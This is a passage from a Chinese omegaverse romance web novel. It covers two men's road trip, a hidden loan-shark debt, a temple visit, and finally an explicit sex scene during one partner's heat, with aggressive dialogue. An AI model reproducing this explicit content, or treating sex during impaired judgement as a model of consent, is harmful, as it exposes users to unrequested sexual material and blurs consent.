一桩心事了却后,他终于能稍微松口气,借着年关为由给人发了个不大不小的红包讨了个吉利,开始收拾行李整装待发。
这时候他遇到了第一个难题。春运期间的火车票和机票八成是买不着了,况且火车耗时太久,这会儿对他而言时间最为珍贵,机票又太贵不符合穷游的标准。
就在他犹豫是租一辆车自驾过去还是找顺风车拼路的时候,宋采舟甩着他的新车钥匙晃到了跟前。
“帅哥,搭便车吗?给你按市价打九折。”看着这张欠兮兮的漂亮脸蛋,他硬生生忍住了伸手的冲动,苦笑着打起商量:“宋总,看在我为你的新车助力了五十万的份上,再多打点折呗。”
宋采舟嘴角一挑,然后冷酷地开口:“你那也算助力啊,我没收你利息也没算你春节加成费,九折还不行?没得商量,要不你就自己另想办法。”
“别啊。”他脑子里主意一转,“要不用别的什么东西抵点折扣呗,我预算真有限。”
宋采舟手指搓着车钥匙的棱角,上下打量:“那、就肉/偿吧。”在看到预料之中的耳根通红景象后心情很好地笑起来,“路上你负责给我说书讲笑话拍照还有当助理,我算你七折。”
席棹深呼吸后咬咬牙:“成,那得是全程啊,不能把我半道丢下的。”
“行。”宋采舟笑眯眯地继续调戏,“这么大一个帅哥我怎么舍得丢呢,丢了可就不知道被谁捡走了。”
他热得头顶都快冒烟了,转身去接水,嘟囔了句:“你最好是。”
“对了,今晚给我补一下标记,差不多快到时间了。”
他脚步一错差点给自己绊倒,隐约间还听到了从背后传来的轻笑。
总有一天要让这家伙知道厉害,他想着,脑子里的画面逐渐跑偏,这回是真的后脑勺冒烟了。
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两人各自处理了手头的事情后,在年二十八这天正式启程。
宋采舟看着被塞了大半的后厢,乐出了声:“我觉得我应该管你收行李费。”
席棹老神在在地整理着摆放的布局以便拿取,“怎么了,是你说你不带行李打算都用钱解决的,我可不行,这么拉风的大G屁股里不塞点东西太浪费了。”
“诶诶诶,说什么呢。”宋采舟架着胳膊打断他,“对我的新宠兼度假搭子说话客气点。”
他一脸惊奇道:“新宠我没意见,但你的度假搭子难道不是钱吗少爷?”
“去你的,上车。”被啐了一口后他反倒乐呵呵的,看着登上踏板进驾驶室的背影,他想了想,把装着舒缓剂的小箱子单独拎出来放在一边,然后跟了上去。
怪不得那些男人喜欢看有车模的展子,席棹这会儿算是见识到了。
美人开帅车的视觉冲击实在太强,他光是看到宋采舟把着方向盘的手指,还有露出来的一小截纤细手腕,都觉得口干舌燥。
顶着一路的喇叭和口哨声上了国道,同行的车比他们想象中还少。
席棹低头查着人口数据,伸手闭上车窗,“这儿的人口流动好像没有那么明显,定居在户籍出生地的人挺多的。”
宋采舟搭话:“跟性别有关吧,有些性别就是不适合换环境的。”
他反应过来:“你是说omega吗?”
“alpha其实也是。”宋采舟切了首安静点的歌,“有些腺体对环境的适应性很差,随便换地方容易出事,一般出生地算最安全的。”
他想起对方的紊乱症,忙问:“那你这样随便离开不会有事吧?”
“我这方面还行吧,之前不也老出差跑外地吗,有时候出国反应会明显点,但国内还好。”宋采舟不慌不忙道,“再说不是有你吗,我怕什么。”
他划着屏幕的手顿住,咳了声:“嗯,有我呢,放心吧。”
宋采舟的车是定制的,加装了自动驾驶系统,他就来回切换模式偶尔休息会儿,也不算太累,连席棹提出换着开都没同意。
“坐好吧你就,对我的新宠出言不逊还想开它。”
从服务区出来准备重新上路的时候,两人看到车边倚靠着的人,同时皱起眉。
那个大冷天穿着单薄紧身上衣和修身短裤黑丝的男人扭着腰走近,看看宋采舟又看看席棹,眼神都亮了。
“哈喽,我都等好久啦,这车是你们的吗?”他搂着胳膊娇嗔地说,“我叫南希,你们也是要去西部三省吗?不如搭个伴呗,我和我男朋友一起的。”
他刚说完,旁边一辆明显改装过的SUV上下来一个染着粉色头发的男人,显然就是他口中的男朋友了。
“嗨,奎恩。”男人吹了声短促的口哨,把鼻梁上的墨镜往下一勾,冲两人打了个招呼,然后搂上了南希的腰。
“怎么样,一起吗?我们家南希的车技可棒了。”
“讨厌啦说什么!”
奎恩接下软绵绵的拳头,在南希腰间掐了一把,挑着眉盯着宋采舟看,眼中兴味盎然。
席棹往前迈了半步挡住他的视线:“没兴趣,麻烦让开。”
奎恩这才被迫挪眼,上下打量起他,语气突然软下去了些:“你......不是alpha?”
31.第 31 章
席棹冷眼道:“我是不是alpha,和我对你们的提议没兴趣有关系吗?”
他知道有些人喜欢在旅途中找刺激,用的大概就是类似找搭子的手段,但他还真没遇到过这么直白的“结伴”邀请。
尤其是对方盯着宋采舟看的那个眼神,让他不爽到了极点。
奎恩嘁了声,并不打算放弃:“哥们儿,我看你车涂得也是圈子里的样,就别在这装了,是不是alpha其实也无所谓。”说着手指勾着南希的衣摆往上撩,露出了一小片雪白皮肤。
“这小骚/货干起来带劲的很,能扭出花来,你真不想试试?”
这下他听懂了,面前俩人估计是玩那种字母圈的,有点不为大众所容的特殊癖好,并且误把他们当成同类了。
虽然他一直都尊重别人的兴趣爱好,但一想到这人意淫的是宋采舟,他就只有把对方眼睛挖出来的冲动。
“滚。”
气氛瞬间尴尬,南希被冷风吹得冻的哆嗦,抓着奎恩的胳膊小声求道:“算了算了,我们走吧,我扛不住了。”
奎恩恶狠狠地瞪了眼,然后拽着南希细的跟竹竿似的胳膊不甘心地转身,上车关门前骂了句:“怂货。”
他捏紧的五指被身后人一根根掰开,“好了,没必要为这种事生气,快上车吧。”宋采舟轻拍着他后背心宽慰说,“是我疏忽了,这车是我为了还人情托别人设计的,之前跟他说随他心情看着弄,没想到闹出这样的误会,回去我就改掉。”
这样一听确实也不是什么大事,但他就是烦躁得很,心里只有一个念头。
他想让所有人都知道宋采舟是他的,只是他一个人的。
“哎呀好冷,快快快赶紧上车。”宋采舟突然打了个喷嚏,连忙往车里钻,从车窗伸出半颗脑袋唤他,两人再度启程。
怕路上犯困,他们都没吃太多碳水,再加上刚才的小插曲,席棹就是想睡都睡不着。
车里的气氛诡异地沉寂下来,他支着胳膊看窗外,偶尔能在稀稀拉拉的绿化里找到一两颗长势不错的树,莫名其妙地觉得它们孤独可怜。
“你会唱歌吗?”宋采舟突然问,“我很喜欢的一个女团刚发了新专辑,我教你吧。”
他知道对方这是在试图调节他的心情,不想扫兴,所以还是勉强开口:“好啊。”
宋采舟切了歌,刚进前奏,一连串的短信提示音就轰炸响起,席棹皱眉掏出手机一看,满屏幕的消息提示,内容却都是一样的。
催债短信。
感觉到人拿着手机愣神不太对劲,宋采舟按了暂停,调到自动驾驶模式后偏头看他:“怎么了?”
“没什么,垃圾短信。”他掩下神色手指动作了几下,“可能号码被泄露给什么购物平台了吧。”
“哦,最近诈骗短信很多,反正注意些吧,我听公司下属说他们家里已经有人中招被骗了,大半年白干。”
“我还没好骗到那种程度吧。”他故作轻松地笑笑,“那你不得多发点年终奖安慰安慰。”
宋采舟重新放歌,“我在你心里原来是那种大善人吗?那可真是太荣幸了。”
车内气氛随着几句调侃和欢快的流行曲一起轻松起来,宋采舟断断续续教着歌,他磕磕绊绊地学,心思却早在不知不觉中跑远了。
看着后视镜中的自己,他在想,应该是前几个月都没回老房子,漏掉了后面催债的信,高利贷那边才换成了这种虚拟号码的方式,早知道上次回锦荟小区就先去六楼一趟了。
不过这回对面好像突然通了人性,只要求下个季度还上二十万。这样算来除掉还宋采舟的五十万,卖房剩下的钱加拍替身的片酬,撑到后年也不是问题。
希望对方不要中途突然发癫改主意吧。
他闭了闭眼突然感觉到一股困意。
年二十九傍晚,两人抵达了第一站G市。和席棹想象中不太一样,虽然是过年期间,但这里路边的店还开着大半,超市也都正常营业,甚至连景点都还开放。
“他们过年不休息吗?”他看着没什么节日氛围的街道有些惊奇。
宋采舟歪头想了想:“你这么说,好像S市那边过年也不讲究仪式感,可能是因为离家的人本来就不多吧。”开着车大概转了一圈,最后他选了规模最大的酒店办了入住。
“也挺好的,至少我不用为吃住操心。”指使席棹把刚从超市买回来的一堆生活必需品都整理摆放好以后,他在套房里左看右看。虽然肯定比不上家里,但算得上干净整洁,他已经很满意了。
“你呢,住哪儿?”
想起预算有限的小助理席某,他开始担心起来。
席棹穿上外套看了眼落地窗外灯火通明的街景说:“我之前定了一间旅舍,离这里就两个街口,在离开G市之前都住那儿。”
“行,我送你过去,明天三十一起吃晚饭跨年,白天你要干什么的话记得掐时间。”宋采舟也披上大衣往门口走,叫了声还站在窗边不知道看什么的人,“怎么,今晚想留下来啊,床倒是有,但这房费。”
“拉倒吧,住一晚我接下去就都得喝西北风了。”他收回看着远方的视线,换上一副调侃的模样。
这夜景和他记忆中那个家乡太像,所以才看得不自觉出了神。
旅社确实离得不远,宋采舟帮席棹把车里塞的行李都拿出来,看着只有半间店面宽的入口问:“你住这儿真没问题吧?”
大G和周围老旧的样子格格不入,已经引来好几波路人驻足围观了,他赶紧拎着箱子往里走:“真没事,我以前也就这环境。”
反应过来他说的是跑龙套的那个以前,宋采舟后背一僵,伸手拎过最后一只靠在角落的小箱子跟进去。
里面没有电梯,还好住的房间就在二楼,席棹在前台换了钥匙拎起行李箱就往楼梯上走,宋采舟看着那掉漆的扶手和隔几阶就翘起一块角的木板台阶,一步一顿地跟上。
老化松动的木板发出嘎吱声响,配合上昏暗的
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廊灯和空无一人的走廊,有种阴冷的诡异。
宋采舟循着声音走进房间里的时候,席棹已经在铺床了。
房间是一间四床,上下铺,唯一一张桌子靠着角落,好在门边的柜子够大,放得下所有行李箱。
他把小箱子放到角落的桌子上,看了眼另外三张床,“这里没其他人住?”又打开另半边柜门,确认里面确实没有别的箱子。
“好像是吧,也可能过几天会有,真就我一个人的话可太走运了。”席棹把从家里带的小灯挂到墙上,试了试亮度,很满意。“不过也无所谓了,在G市就住三个晚上,白天我也不可能窝在这儿,有人也碰不到。”
宋采舟嗯了声,在桌子抽屉里找到遥控器,问:“空调是能开的吧?”在听到“能”以后立马打开调好温度和风向,“还行,没坏。”
席棹终于收拾好了,看了眼时间说:“这个点我就不吃晚饭了,你回去自己叫点吧,别又饿得胃不舒服,有事随时打我电话。”
意识到这是赶客了,他挑挑眉:“行吧,那我走了,你早点休息,记得明天晚饭啊。”
晚上八点半正是夜市最热闹的时候,前后不过一个多小时,这片街边就完全变了个样子。宋采舟拎着买回来的一堆小吃上车,刚打开最期待的香蕉软饼的袋子,手机铃声就响起来。
“喂小舟。”
“阿穆,什么事?”
那头阿穆明显支吾了下,然后试探地问道:“我听说你今年不回宋家过年,是去哪儿玩了吗?”
宋采舟往嘴里塞了一块细细品味,放下了筷子。“嗯,出来旅游散散心,你大晚上打电话来就是为了问这个?”
“不是,我就是怕你那个病在外面发作,你”阿穆的声音突然鬼祟地压低了些,“你是不是带他一起去的?”
宋采舟当然知道他指的是谁,故意装没听明白,问:“啊?你说谁?”
“就是,就是那个席什么,你还让我帮忙的那个!”对面语调高起来,偏偏还是压着声量说话,听得宋采舟想笑。“事儿我可是给你办妥了,那家伙到底什么来头啊,利息叠得快赶上本金了,我疏通关系费了好大功夫。”
宋采舟敛起嘴角:“不是跟你说了别打听吗,好奇心那么重呢。”说完意识到自己语气重了些,又补充道,“以后他就跟着我了,有见面机会的话你也机灵点,别露馅。”
“知道了知道了,过你的二人世界去吧!”对面罕见地先挂了电话。
宋采舟看着通话记录笑骂:“这家伙。”随手打开了另一个袋子,甚至还没看清里面装的是什么,手机铃声就又响了。
听着这道专门设置的特殊铃声,他的胃口一瞬间消失得干干净净,但又不得不接。
“喂,爷爷。”
宋老爷子的声音听上去浑厚威严:“采舟,我听清澜说你明天不回家,给我一个理由。”
宋采舟闭眼:“治病。”
“和你那个完美契合的小男朋友?”
32.第 32 章
宋采舟并不意外老爷子会知道,降下窗户把一堆甚至都没打开的小吃一起扔进了路边的垃圾桶里。
收拾完以后他就这样开着车窗,戴上耳机径直开回了酒店,把车钥匙扔给泊车员后理着衣襟进电梯,才终于开口:“对,怎么,我不能选择一起旅游的对象吗?就因为我是个omega?”
直到套房门被重重关上,宋老爷子的声音才又响起:“你生清澜的气,不回来就不回来,那个人既然和你是完美契合,对你治病有好处,那养着也就养着了。但按照我们家的规矩,你自己注意着点,别让他钻空子彻底标记,省得以后麻烦。”
宋采舟冷笑了声说:“爷爷,他不是宋家人,但我是,这种精明算计的本事你们已经教了我二十年,您觉得小叔血统不纯信不过他,难道还信不过我吗?”
提到宋闻,那头顿时安静了。他知道这是对方一直以来的芥蒂,也是专挑着痛处戳,“很晚了,您还是早点休息吧,可千万保重身体,回头我会把年礼补上的。”说完就挂了电话。
手机被捏得发出嘎吱声,下一秒被甩到了床上,淹没在柔软的被子里。
宋采舟强迫自己冷静下来,深呼吸后睁开通红的双眼,按下座机叫了送餐服务,然后揉着抽痛的胃进了卫生间。
洗完澡吃了点东西后,他靠在贵妃椅上斜睨着窗外夜景,想了想,拿回床上的手机拨出。
“范导,给你拜个早年,之前咱们商量的那件事......”
第二天一早,席棹醒来的时候是七点半,看外面天气还不错,他换了衣服沿着楼下主干道小跑晨练,最后顺着香味拐进了一条小巷子里。
坐在早餐店里喝着热豆浆的时候,他余光瞥到隔壁桌的一男一女频频往自己这边看,几分钟后实在忍不住转过头小声问:“请问,你们是认识我吗?”
那女孩的脸立马就红了,摆摆手说:“不是不是,是你太帅了,我们在这儿生活了这么久还没见过你这么好看的人。”坐她对面的男孩也看过来:“哥,你是真的帅,可以去当明星了!我姐就喜欢你这样的!”
“胡说什么呢!”女孩转过筷子敲了下他的头,解释道,“不好意思啊,他就这嘴上没把门的性子,你别在意。”
席棹想了想问:“你们是本地人啊,那我能问问附近有什么免费的景点或者热闹点的集市吗?”
男孩一听就来劲了:“这我熟啊!”说着干脆屁股一挪坐到了他对面,“七里桥那边的夜市肯定得去,明天初一还有烟火大会呢,景点的话东南边那块儿的几座寺庙都能免费进,运气好的话说不定能碰上祈福仪式。”
“祈福仪式?”
“嗯呐,就是每年年末年初随机时间段会有的仪式,如果路人有幸碰上了就会被请进去观摩,听说能保整年的好运气。”
他若有所思地喝完剩下的豆浆,站起身和这对姐弟告辞:“谢谢你们,说不定哪天我真就成明星了。”
到隔壁小卖部换了点零钱,他顺着导航指示坐上了一辆公交车,终点站就是位于G市东南角的月诠寺山脚下。
一个小时多点的车程其实也不算太远,他搜搜别人的返图、听听歌看看外边风景很快也就过去了。在经过一座古桥的时候,他抬眼看到尽头处的河面晨光,心神一动,拍了张照片发给宋采舟——“像不像以前剧组取景地边上那道桥?”
这条消息一直到他下车都没有被回复。
九点四十,上山的路没几个人,可能因为今天是年三十,也可能来这儿的人本来就不多,反正他沿着指示牌走进山门的时候,院里只有扫地的僧人和几只猫。
空气很清凉,他仰头看着双生榕树觉得浑身舒畅,奇经八脉都通了似的。脚刚一动,原本趴在树下睡觉的白猫突然醒了过来,弓着背伸完懒腰,慢悠悠走到他脚边闻了闻,然后拿头轻轻蹭起来。
裤腿蹭得他痒痒的,于是干脆蹲下身用手掌去摸白猫的脑袋,摸着摸着就挠上了它的下巴。
这只猫看起来年纪不小了,就连打呼噜的声音都透着股颤巍巍的苍老。他观察着猫脸上不剩几根的胡须,声音不禁都放柔了些:“咪咪,你几岁啦?”
老猫儿没应他,但身后传来一道古钟般的声音:“它呀,过了年就十八了,是这儿猫群里的老祖宗啦。”
白猫听到这声音甩开他,蹭到了后面来人的脚边。
席棹站起来转过身,看到一名须发灰白的僧人。僧人向他作揖,他还礼后道:“老师父,请问这儿就是月诠寺吗?”
僧人笑笑,不说是或不是,只问:“施主是想上香吗?今天寺内有仪式不开放,可以过两天再来。”
白猫突然发出声嘶力竭的嚎叫,他愣了下,眼看僧人轻踢了猫儿一脚,周围瞬间窜出来好几只不同花色的猫,成群结队地拥着白猫跑远了。
“没关系,那我就随便逛逛吧。”
他正打算往旁边走去侧院的时候,僧人叫住了他:“施主,你我今日相见即是有缘,我看你似有心结难解,不如与老僧聊聊,老僧或可为你解惑。”说罢拢了拢长须,笑眯眯地摇头,“放心,不收你钱。”
被看穿后他赧然一笑:“我、我确实有一桩心事沉闷许久,老师父既然这么说,那我就不客气了。”
跟着僧人到廊中石凳坐下,他缓缓开口:“半年前,我遇到了一些事情......”
掩去穿进剧本中成为主角这样不方便透露的细节以后,他把这段时间一直焦心忧虑的事简单概括了下,包括最近为感情所困一事,都一五一十地说了出来。
“我很想回家,但不知道到底该怎么做,还有我那个朋友,我也不知道该怎么面对自己的感情,该不该让他知道。”
白猫不知什么时候回来了,跳到他的身上窝在大腿处蜷着睡觉,他被那一小团热源禁锢着,不敢动弹,怕吵醒了老猫祖宗。
僧人始终带着微笑,安静地听他讲完,才开口说:“施主实在福泽深厚。”
席棹愣了下,不明白自己从前那样颠沛流离的人生,到底福泽深厚在哪儿。
老僧又道:“生老病死,爱别离,怨憎会,求不得,你且想
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想,如今是否真的有过。”
他心下一颤。如果是指身为“席棹”的现在,他并不是这具身体原本的主人,当然没有体验过生苦,老病死就不用说了,怨憎会和爱别离都谈不上,至于求不得,他所求不过是回家,那都不是一个具象层面的事,自然也不能这么算。
这样想来,老僧说的似乎并没有问题。
“可你若再困于心境,日后难免受五阴炽盛苦,那前七苦自然就少不了。”老僧叹道,“你既来到这里,难道看的不该是脚下的路吗,既该看脚下的路,难道不该看看路边的风景吗。”
他脑子里一瞬间闪过宋采舟的模样,恍惚问:“您是说,我应该遵从内心的感觉,把我的心意告诉他吗?”
老僧站起来拍醒他腿上的白猫,又拍了拍他的肩膀示意跟着走,他把白猫抱起轻轻放到地上,跟着一路走进了正殿。
殿里有几个年轻僧人在洒扫,看见老僧进来同时向他作礼,如出一辙的淡漠神情看的席棹心头一跳。中间供着的像被红布盖着看不见模样,他被领到拜垫后头跪坐,本能地闭上了眼睛。
有水珠洒落到他的额间,顺着鼻梁滑过脸颊,最后聚在下巴,等到下巴上的水珠汇聚得足够沉重最后坠下时,他才反应过来自己不知道什么时候已经双手合十。
水珠触碰到指尖的时候并不冷,反而带着股温热。
湿意仍在不断下落,他仿佛透过很轻很慢的扫地声听见了一声呼唤,一瞬间泪如决堤。
殿内寂静一片,他终于缓过来再睁眼的时候,那些负责洒扫的年轻僧人已经不见了,老僧则远远地站在柱边望着被盖住的佛像,嘴里念念有词。
发现他醒来后,老僧一步一挪地走近,伸手在他额前点了一下:“念头通达,孩子,回去吧,好好活着。”
他浑浑噩噩地点头,浑浑噩噩地起身出殿,泪痕挂在脸上糊成一团。
他很难说自己都感觉到了什么,但只要一想到那个时候,眼泪就不自觉地涌出来,想控制又不免再次想起刚才,于是流得更凶。
就是在这样不断拿袖子擦眼泪的狼狈时候,他在山门外迎面碰上了气喘吁吁的宋采舟。
“......”
“......”
两人面面相觑了好一会儿,最后宋采舟默默地从口袋里拿出湿纸巾递给他,等他低头擦完才说:“你一直在这儿?”
“嗯。”席棹眼泪流多了,声音变得干哑,“你怎么也来了?”
宋采舟眼神躲闪了下:“我问你去哪儿了你没回消息,怕你忘了时间或者出什么意外,就定位了你那张照片的坐标,从那边一圈圈找上来的。”
他刚要掏手机,宋采舟就叹了口气说:“别看了,这儿没信号,我上来就发现了。”
“啊,哦。”他抽了下鼻子,眼眶红红的,“我听说明天七里桥那儿的夜市有烟火大会,你想去看看吗?”
宋采舟也没拆穿这拙劣的转移话题,知道他想维护最后一丝体面,从善如流道:“行啊,我开车带你去,记得付我车费。”
33.第 33 章
两人回程途中又经过了那座古桥,席棹这才想起打开手机看聊天记录,发现宋采舟是在消息间隔一个多小时后才回复的——“你去哪儿了?”并没有正面回答像不像的问题。
那时候怎么就突然想起那茬了呢?他又盯着桥面仔细地看,发现和以前剧组取景地边上那道桥似乎并没有多像,让他错认的其实只是洒满晨光的江面。
“那座桥”
“那座桥两边有铜锁链,绕在桩子背面,平常看不见。”
他正要开口的时候,宋采舟的声音响起,说得很快,他反应了一下才明白这是在回答他之前信息里提的问题。
“喔,你这么说的话好像是,不过那是铜的吗?我还真没凑近看过。”
“是,上面刻着蚣蝮的图样。”宋采舟的语气是绝对的肯定。
他咦了声问:“你好像对那座桥很熟,连这种细节都知道。”车身一个急停,宋采舟长舒口气看着安全跑到了另一边的野猫,理了理散乱的头发解释:“以前道具组的车进出都走的那条路,堵车的时候无聊数桩子发现的。”
他揉着猛磕了一下的后脑勺:“吓我一跳,我以为有车追尾。”宋采舟回说:“是猫,差点撞到。”
“没事了吧,走了吗?”说着他伸长脖子往驾驶座那边看,陡然发现宋采舟的脸色煞白一片。
席棹跟着宋采舟回了酒店套房。“我说了没事,我自己的身体自己心里没数吗?”被强制换位坐了一路副驾驶回来的人躺倒在贵妃椅上,脸色并没有好转多少。
他找出药箱,拿着体温枪在宋采舟眉心“嘀”了下,显示体温正常,又往自己眉心一照,最后还是不放心地拆了水银温度计消毒,抬手示意宋采舟张嘴,“含好了,别动。”
被当成病患的家伙显然不怎么乐意,用有些幽怨的眼神瞪他。“瞪我也得含好,你知道你脸色有多吓人吗?”席棹想起那一眼就后怕,焦心地等着时间,在心里盘算着如果宋采舟真的病了该怎么办。
无声的七分钟过去,他双指轻捏宋采舟的下巴把温度计抽了出来,36.5度,正常的不能再正常了。
“这下放心了吗,席小助理?”宋采舟继续躺下,闭上眼假寐。
他把工具都收回去,这才安心地打开空调总控,眉心微皱:“没发烧就好,那你怎么突然脸白成那样,到底有没有哪里不舒服?”
“没有没有真没有,就是出门找你的时候受了点风,又一下子剧烈运动不习惯而已,要怪就怪那只猫吧,它不吓我可能我都不会有反应。”宋采舟的脸色终于正常,两颊透着股体温骤升的红晕,懒洋洋地侧过脑袋嘟囔。
“行吧,那你休息。”他话音刚落,宋采舟突然睁眼,有些紧张似的:“你要走?”
“你这样子我怎么放心,我不走,就在这儿陪你。”收拾好被弄得乱七八糟的茶几后,他靠在沙发侧边坐下,“你累了就睡吧,我看剧本。”
宋采舟好像是真的困极了,重又闭上眼,说了句:“备用卡在门口架子上,你要出去的话记得拿,我眯会儿,午饭别叫我了。”越说声音越轻,最后竟是直接睡着了。
他去把房间状态设置成了"请勿打扰",然后坐回原来的位置开始第不知道多少遍的梳理《大雾》的人物线。
但看着看着,目光就不自觉地落到了对面人的身上。
宋采舟的睡姿是很标准的端正,整个人平躺着,两只手交叠着放在小腹,连脚尖都是内扣的。
他不喜欢这种睡姿,看上去像死了一样,以前在影视作品或者舞台剧里看到都会有意转头避开,但这人是宋采舟,他甚至没法把视线从那张脸上移开。
贵妃椅的椅背挡住了一部分光线,他沉默而着迷地看着暗橙色的光在宋采舟的身体表面一寸寸移动,直到手机因为长时间没有操作熄屏后很久,空荡荡的胃里传来的饥饿感才终于让他舍得站起身。
半小时后他吃完午饭回来,宋采舟还保持着一样的姿势,只是额上出了一层薄汗,在昏暗的光下亮晶晶的,像商店橱窗里展示的那种精美艺术品。
打湿了一条毛巾靠近,刚想给对方擦汗的时候,他发现宋采舟脸上泛着不太正常的潮红,不像是睡得热出来的,反倒更像是......第一次紊乱症发作时候的样子。
“采舟?”他手一抖,顾不上掉到地毯上的毛巾,用手背去试那张脸上的温度,在触碰到的一瞬间就抽了回来。
滚烫的,烧得皮肤刺痛。
“宋采舟,醒醒!你发烧了!”他没想到自己只是离开一小会事情就突然变成了这样,手忙脚乱地想叫人先睁眼。
可是躺着的人完全没有反应,连呼吸都轻的微不可闻,就像,就像尸体一样。
“啪”席棹往脸上甩了一巴掌,警告自己不能乱想,然后伸手去扶宋采舟打算带他去医院。
可就在他手心触碰到对方肩膀的瞬间,浓烈的茶香爆发出来,眨眼就充斥了整间套房。
他的意识被冲击得恍惚了一阵,呼吸间那比往常都要冰冷的信息素钻入肺腑,刺得骨头都发疼。
怎么会这样?宋采舟的信息素从来没有这样难以忍受过。
他一时说不上是自己身上突然冷一阵热一阵的感觉难受,还是本能地想逃离宋采舟信息素的心理更难受,于是保持着半跪的动作僵在了那里。
宋采舟是在一冷一热的两种信息素挤压下醒来的,刚睁眼就看到跪在手边不停喘气的人,一双眼里满是红血丝,像某种蓄势待发捕捉猎物的野兽。
但他并不觉得可怕,反而兴奋起来,这种兴奋让他心慌。
“席棹,我,进入发情期了。”意料之中的无力似水的声音。
席棹的双腿在不自觉地发颤,后腰处传来的酥麻感让他心猿意马,只能使劲掐着大腿强迫自己保持理智,低声说:“舒缓剂,在我那里,我去拿。”然后撑着地毯试图站起来,但果然还是失败了。
宋采舟闭了闭眼,再睁开时里头已是水雾弥漫。“没用了,晚了。”
“什么?”他侧了下腿的方向想挡住腿间隆起的部分,却被宋采舟飘过来的眼神钉住。
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“现在,你去把套房模式设置成安全隔离,然后进房间里来。”宋采舟说完几乎是手脚并用地站起来,挥开下意识伸来想搀扶的手,一瘸一拐地扶着墙壁钻进主卧。
席棹等人背影完全消失后才红着脸爬起来,松了格裤腰,又把衣服往下拽了拽,才一步一顿地去玄关处设置模式。
他不敢细想宋采舟话中的深意,但即便如此,滚烫的后颈和已经有反应的部位还是不断把思维拉向那个方面。
推开卧室门的时候他已经完全放弃了遮挡,看到空荡荡的室内愣了下,然后被浴室里传来的磕碰声响吓得脊背一凉,几乎是小跑进去。
宋采舟跌坐在浴缸里,身上不着寸缕,脱下来的衣服横七竖八地散了一地。
“抱我去床上。”这声音甚至可以称得上是嘤咛了,他垂着眼看湿漉漉的地面,磨蹭着往前两步,扶上宋采舟伸出的双臂,揽起腿弯把人抱了起来。
“不敢看我?”
怀里的人身体冰凉,他没有多余的手去拿浴巾,只好揪着心快步走出浴室,把人塞进软乎的被子里,全程都盯着正前方。
“第一次见面不是就已经看过了吗,为什么现在不敢看了?”宋采舟湿着发梢,缩在大床一角朦朦胧胧地看着他问。
他咽了口唾沫,喉间紧得发疼。
“说话,为什么。”
“我”他张口,周身的潮湿气息让他想起在月诠寺大殿里流的那些眼泪,于是一狠心,咬了咬牙,“我喜欢你。”
宋采舟歪着脑袋,很小声地追问道:“你以前是同性恋吗?”
“不是!”他一急,咬了舌头,血腥味在口腔弥漫开,剧痛让他的声音轻了几分,“不是,我只是、喜欢你。”
“够了,这就够了。”
宋采舟一把掀开了身上盖着的被子,坦然地接受空气的抚摸,“别转头,睁开眼,看着我。”
他僵硬地扭动脖子,目光被眼前的这具身体吸引。
第一次他们在医院碰见,他也见过这身体,苍白的、柔软的,但现在好像哪哪儿都不一样了。
宋采舟的身体有这么漂亮吗?
那皮肤上的水分还没完全被吸干,锁骨、肩头、胸膛、腰腹都挂着顽强的水珠,蒸着热气似的还在不断往外渗,渗得多了就汇成完整的一颗往下滑。
他的视线开始不由自主地随之往下,突然定格在宋采舟腰腹那一块。
那里有一些浅褐色的疤,颜色并不深位置也隐蔽,不仔细看其实发现不了,但他看到了,并且觉得非常刺眼。
宋采舟察觉到了他视线的落点,“这是以前发情期留下的,硬熬过来,好不了,就这样了。”
“席棹,现在选择权在你,是要这里再添一道新的伤疤,还是”
还没说完,宋采舟的话被一双更为炽热的唇堵了回去。
热气喷洒在两人鼻尖。“宋采舟,我是个男人。”席棹抵着他的额头,后槽牙咬得酸麻,“在一个喜欢你的男人面前,裸着说出这种话,被弄死在床上也是你活该,明白吗?”
34.第 34 章
宋采舟对于他的故作凶狠给出的反应是缠绵地回吻和低语:“做你想做的。”
席棹轻咬了下他红润的下唇,手掌下游扣在腰侧,“疼吗?”宋采舟像是被那手心烫到一般抖了下,闷哼一声:“以前,疼的。”
他立马放轻动作,拿指腹小心翼翼地触碰那些疤痕,心头发涩:“你身上很容易留疤,就是因为以前硬熬发情期?”
说着视线向上,又看到了宋采舟肩膀上那一小点深色的痕迹,和第一次紊乱症发作那天比起来已经只剩圆心,他之前以为是没好全,现在才知道这伤痕以后都不会消失了。
想到这里,他扶着宋采舟的后脑又吻了下去,因为手上不敢用力,嘴上咬得就更凶,像要把怀里的人吞吃入腹。
宋采舟的唇比刚才还软,带着股信息素的清甜,他舌尖一碰就听话地张开,里面反倒不如嘴唇那么烫,但更加柔软,碰到哪儿都能勾出一声猫儿似的轻哼。
直到一双温凉的手搭上肩头无力地往外推了下,他才舔去宋采舟嘴角溢出的唾液松开,胸口剧烈起伏着:“我去洗澡。”
刚转身,整个人就被从后背抱住,有只大胆的手直接往下探。他倒吸口气,忍得眼前发昏,低声警告:“再不松开你可别后悔。”
那只手指尖一错,干脆直接解开了拉链。“操”他低骂一声,回身把人双手腕叠着往头顶一扣,俯下/身道:“你自找的。”
房间里暖气开得足,脱了上衣也完全没觉得不适应,他任由裤间敞着没着急去脱,边埋在宋采舟耳根舔吻,边伸手打开床边柜往里摸索,发现里头空空如也后皱着眉起身确认了一眼。
里面的东西确实不见了。
怔住的一瞬,宋采舟的手揽住他的脖颈往下一拉,两人鼻尖相触,“不需要那东西。”
看着那双满是水雾的眼睛,他咬得牙根出血,沉声说:“你会受伤。”
宋采舟抿了下唇,握着他的手腕移了移位置,“不会的。”
他以为是刚才洗澡没擦干带出来的水,错愕地低头,正好错过那双眼里一闪而过的落寞,“omega体质就是这样。”
“来吧。”
完美契合让一切都比想象中更加顺利,他想听到不一样的声音,于是盯着宋采舟瞧,把那张脸上每一寸的细微变化都收入眼底。
宋采舟的体温炽热,脚尖无力地绷紧。
“你好热。”他伸手把人再往下压了些,如愿地听到变调的声音,满意地勾了下嘴角,“真美。”
第二次,宋采舟被迫自己抱着腿。
第三次,宋采舟被抱着躺在他身上。
到后来他已经不记得时间,只知道贴着对方不肯分离一寸。
“抖得这么厉害,没力气了?”席棹轻笑着把人放回床上,“好不容易干了点,你再忍不住我就只能抱你去那边了。”
他轻捏宋采舟的下巴转向落地窗的方向,外面天早已黑透了,而怀中的人也早就没有了回应的能力。
轻啄了下闭不上的唇,他贴到宋采舟耳边说:“omega有生殖腔,可以怀上宝宝。”说着又朝红透的耳后皮肤轻吹一口气。
不一样的更为柔软的触感让头皮过电般发麻,他趴在人背上,咬着耳垂问:“能进吗?”
宋采舟突然挣扎起来发出呜咽声,眼泪不要钱似的涌出抹在被子上,五指抽搐地抓着空气,双腿不住打颤。
“好了好了,吓你的,别哭。”他吓了一跳赶紧安抚。
